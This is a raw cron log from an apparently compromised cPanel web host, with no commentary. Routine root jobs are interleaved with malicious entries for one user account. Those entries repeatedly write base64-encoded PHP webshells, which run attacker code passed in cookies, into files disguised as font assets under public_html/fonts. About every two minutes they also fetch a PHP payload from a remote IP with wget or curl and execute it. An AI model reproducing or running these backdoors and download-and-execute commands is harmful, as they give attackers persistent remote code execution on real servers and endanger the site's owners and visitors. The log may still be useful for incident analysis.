Sep  4 19:28:01 ip-184-168-122-23 CROND[9839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:28:01 ip-184-168-122-23 CROND[9842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:28:01 ip-184-168-122-23 CROND[9840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:28:01 ip-184-168-122-23 CROND[9841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:29:01 ip-184-168-122-23 CROND[9927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:29:01 ip-184-168-122-23 CROND[9928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:29:01 ip-184-168-122-23 CROND[9929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:29:01 ip-184-168-122-23 CROND[9931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:30:01 ip-184-168-122-23 CROND[10027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:30:01 ip-184-168-122-23 CROND[10028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:30:01 ip-184-168-122-23 CROND[10032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:30:01 ip-184-168-122-23 CROND[10033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:30:01 ip-184-168-122-23 CROND[10035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:30:01 ip-184-168-122-23 CROND[10036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:30:01 ip-184-168-122-23 CROND[10031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:30:01 ip-184-168-122-23 CROND[10034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:31:01 ip-184-168-122-23 CROND[10131]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:31:01 ip-184-168-122-23 CROND[10132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:31:01 ip-184-168-122-23 CROND[10133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:31:01 ip-184-168-122-23 CROND[10136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:31:01 ip-184-168-122-23 CROND[10135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:32:01 ip-184-168-122-23 CROND[10218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:32:01 ip-184-168-122-23 CROND[10223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:32:01 ip-184-168-122-23 CROND[10220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:32:01 ip-184-168-122-23 CROND[10221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:32:01 ip-184-168-122-23 CROND[10222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:33:01 ip-184-168-122-23 CROND[10316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:33:01 ip-184-168-122-23 CROND[10319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:33:01 ip-184-168-122-23 CROND[10318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:33:01 ip-184-168-122-23 CROND[10320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:34:01 ip-184-168-122-23 CROND[10520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:34:01 ip-184-168-122-23 CROND[10521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:34:01 ip-184-168-122-23 CROND[10522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:34:01 ip-184-168-122-23 CROND[10523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:34:01 ip-184-168-122-23 CROND[10524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:35:01 ip-184-168-122-23 CROND[10623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10629]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 19:35:01 ip-184-168-122-23 CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:36:01 ip-184-168-122-23 CROND[10727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:36:01 ip-184-168-122-23 CROND[10730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:36:01 ip-184-168-122-23 CROND[10729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:36:01 ip-184-168-122-23 CROND[10731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:36:01 ip-184-168-122-23 CROND[10732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:37:01 ip-184-168-122-23 CROND[10815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:37:01 ip-184-168-122-23 CROND[10814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:37:01 ip-184-168-122-23 CROND[10816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:37:01 ip-184-168-122-23 CROND[10813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:38:01 ip-184-168-122-23 CROND[10913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:38:01 ip-184-168-122-23 CROND[10915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:38:01 ip-184-168-122-23 CROND[10917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:38:01 ip-184-168-122-23 CROND[10916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:38:01 ip-184-168-122-23 CROND[10914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:39:01 ip-184-168-122-23 CROND[11088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:39:01 ip-184-168-122-23 CROND[11089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:39:01 ip-184-168-122-23 CROND[11091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:39:01 ip-184-168-122-23 CROND[11090]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 19:39:01 ip-184-168-122-23 CROND[11096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:40:01 ip-184-168-122-23 CROND[11185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:40:01 ip-184-168-122-23 CROND[11187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:40:01 ip-184-168-122-23 CROND[11186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
